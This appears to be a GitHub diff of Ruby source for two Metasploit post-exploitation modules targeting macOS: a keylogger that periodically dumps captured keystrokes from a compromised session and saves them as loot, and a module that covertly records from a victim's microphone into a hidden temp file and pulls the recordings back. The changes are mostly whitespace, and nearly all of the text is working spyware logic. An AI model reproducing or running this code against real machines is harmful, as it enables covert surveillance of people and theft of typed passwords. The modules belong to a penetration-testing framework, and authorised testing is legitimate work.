print_status(log_a.map{ |a| a=~/([^\s]+)\s*$/; $1 }.join)
|
||||
print_status "Saved to #{self.loot_path}"
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
print_status "Keylogger run completed."
|
||||
end
|
||||
end
|
||||
begin
|
||||
Timeout.timeout(datastore['DURATION']+5) do # padding to read the last logs
|
||||
print_status "Entering read loop"
|
||||
while true
|
||||
print_status "Waiting #{datastore['SYNCWAIT']} seconds."
|
||||
Rex.sleep(datastore['SYNCWAIT'])
|
||||
print_status "Sending USR1 signal to open TCP port..."
|
||||
cmd_exec("kill -USR1 #{self.pid}")
|
||||
print_status "Dumping logs..."
|
||||
log = cmd_exec("telnet localhost #{self.port}")
|
||||
log_a = log.scan(/^\[.+?\] \[.+?\] .*$/)
|
||||
log = log_a.join("\n")+"\n"
|
||||
print_status "#{log_a.size} keystrokes captured"
|
||||
if log_a.size > 0
|
||||
if self.loot_path.nil?
|
||||
self.loot_path = store_loot(
|
||||
"keylog", "text/plain", session, log, "keylog.log", "OSX keylog"
|
||||
)
|
||||
else
|
||||
File.open(self.loot_path, 'ab') { |f| f.write(log) }
|
||||
end
|
||||
print_status(log_a.map{ |a| a=~/([^\s]+)\s*$/; $1 }.join)
|
||||
print_status "Saved to #{self.loot_path}"
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
print_status "Keylogger run completed."
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def kill_process(pid)
|
||||
print_status "Killing process #{pid.to_i}"
|
||||
cmd_exec("kill #{pid.to_i}")
|
||||
end
|
||||
def kill_process(pid)
|
||||
print_status "Killing process #{pid.to_i}"
|
||||
cmd_exec("kill #{pid.to_i}")
|
||||
end
|
||||
|
||||
def cleanup
|
||||
return if session.nil?
|
||||
return if not @cleaning_up.nil?
|
||||
@cleaning_up = true
|
||||
def cleanup
|
||||
return if session.nil?
|
||||
return if not @cleaning_up.nil?
|
||||
@cleaning_up = true
|
||||
|
||||
if self.pid.to_i > 0
|
||||
print_status("Cleaning up...")
|
||||
kill_process(self.pid)
|
||||
end
|
||||
end
|
||||
if self.pid.to_i > 0
|
||||
print_status("Cleaning up...")
|
||||
kill_process(self.pid)
|
||||
end
|
||||
end
|
||||
|
||||
def ruby_code(opts={})
|
||||
<<-EOS
|
||||
def ruby_code(opts={})
|
||||
<<-EOS
|
||||
# Kick off a child process and let parent die
|
||||
child_pid = fork do
|
||||
require 'thread'
|
||||
|
|
|
@ -17,37 +17,37 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
POLL_TIMEOUT = 120
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'OSX Manage Record Microphone',
|
||||
'Description' => %q{
|
||||
This module will allow you to detect (with the LIST action) and
|
||||
capture (with the RECORD action) audio inputs on a remote OSX machine.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
|
||||
'Platform' => [ 'osx'],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Actions' => [
|
||||
[ 'LIST', { 'Description' => 'Show a list of microphones' } ],
|
||||
[ 'RECORD', { 'Description' => 'Record from a selected audio input' } ]
|
||||
],
|
||||
'DefaultAction' => 'LIST'
|
||||
))
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'OSX Manage Record Microphone',
|
||||
'Description' => %q{
|
||||
This module will allow the user to detect (with the LIST action) and
|
||||
capture (with the RECORD action) audio inputs on a remote OSX machine.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
|
||||
'Platform' => [ 'osx'],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Actions' => [
|
||||
[ 'LIST', { 'Description' => 'Show a list of microphones' } ],
|
||||
[ 'RECORD', { 'Description' => 'Record from a selected audio input' } ]
|
||||
],
|
||||
'DefaultAction' => 'LIST'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]),
|
||||
OptString.new('TMP_FILE',
|
||||
[true, 'The tmp file to use on the remote machine', '/tmp/.<random>/<random>']
|
||||
),
|
||||
OptString.new('AUDIO_COMPRESSION',
|
||||
[true, 'Compression type to use for audio', 'QTCompressionOptionsHighQualityAACAudio']
|
||||
),
|
||||
OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]),
|
||||
OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5])
|
||||
], self.class)
|
||||
end
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]),
|
||||
OptString.new('TMP_FILE',
|
||||
[true, 'The tmp file to use on the remote machine', '/tmp/.<random>/<random>']
|
||||
),
|
||||
OptString.new('AUDIO_COMPRESSION',
|
||||
[true, 'Compression type to use for audio', 'QTCompressionOptionsHighQualityAACAudio']
|
||||
),
|
||||
OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]),
|
||||
OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
|
@ -72,48 +72,48 @@ class Metasploit3 < Msf::Post
|
|||
:snap_file => tmp_file
|
||||
)
|
||||
|
||||
output = cmd_exec(['ruby', '-e', ruby_cmd].shelljoin)
|
||||
if action.name =~ /list/i
|
||||
print_good output
|
||||
elsif action.name =~ /record/i
|
||||
@pid = output.to_i
|
||||
print_status "Running record service with PID #{@pid}"
|
||||
(0...num_chunks).each do |i|
|
||||
# wait SYNC_WAIT seconds
|
||||
print_status "Waiting for #{datastore['SYNC_WAIT'].to_i} seconds"
|
||||
Rex.sleep(datastore['SYNC_WAIT'])
|
||||
# start reading for file
|
||||
begin
|
||||
::Timeout.timeout(poll_timeout) do
|
||||
while true
|
||||
if File.exist?(tmp_file)
|
||||
# read file
|
||||
contents = File.read(tmp_file)
|
||||
# delete file
|
||||
rm_f(tmp_file)
|
||||
# roll filename
|
||||
base = File.basename(tmp_file, '.*') # returns it with no extension
|
||||
num = ((base.match(/\d+$/)||['0'])[0].to_i+1).to_s
|
||||
ext = File.extname(tmp_file) || 'o'
|
||||
tmp_file = File.join(File.dirname(tmp_file), base+num+'.'+ext)
|
||||
# store contents in file
|
||||
title = "OSX Mic Recording "+i.to_s
|
||||
f = store_loot(title, "audio/quicktime", session, contents,
|
||||
"osx_mic_rec#{i}.qt", title)
|
||||
print_good "Record file captured and saved to #{f}"
|
||||
print_status "Rolling record file. "
|
||||
break
|
||||
else
|
||||
Rex.sleep(0.3)
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
fail_with("Client did not respond to file request after #{poll_timeout}s, exiting.")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
output = cmd_exec(['ruby', '-e', ruby_cmd].shelljoin)
|
||||
if action.name =~ /list/i
|
||||
print_good output
|
||||
elsif action.name =~ /record/i
|
||||
@pid = output.to_i
|
||||
print_status "Running record service with PID #{@pid}"
|
||||
(0...num_chunks).each do |i|
|
||||
# wait SYNC_WAIT seconds
|
||||
print_status "Waiting for #{datastore['SYNC_WAIT'].to_i} seconds"
|
||||
Rex.sleep(datastore['SYNC_WAIT'])
|
||||
# start reading for file
|
||||
begin
|
||||
::Timeout.timeout(poll_timeout) do
|
||||
while true
|
||||
if File.exist?(tmp_file)
|
||||
# read file
|
||||
contents = File.read(tmp_file)
|
||||
# delete file
|
||||
rm_f(tmp_file)
|
||||
# roll filename
|
||||
base = File.basename(tmp_file, '.*') # returns it with no extension
|
||||
num = ((base.match(/\d+$/)||['0'])[0].to_i+1).to_s
|
||||
ext = File.extname(tmp_file) || 'o'
|
||||
tmp_file = File.join(File.dirname(tmp_file), base+num+'.'+ext)
|
||||
# store contents in file
|
||||
title = "OSX Mic Recording "+i.to_s
|
||||
f = store_loot(title, "audio/quicktime", session, contents,
|
||||
"osx_mic_rec#{i}.qt", title)
|
||||
print_good "Record file captured and saved to #{f}"
|
||||
print_status "Rolling record file. "
|
||||
break
|
||||
else
|
||||
Rex.sleep(0.3)
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
fail_with("Client did not respond to file request after #{poll_timeout}s, exiting.")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
return unless @cleaning_up.nil?
|
||||
|
|
Loading…
Reference in New Issue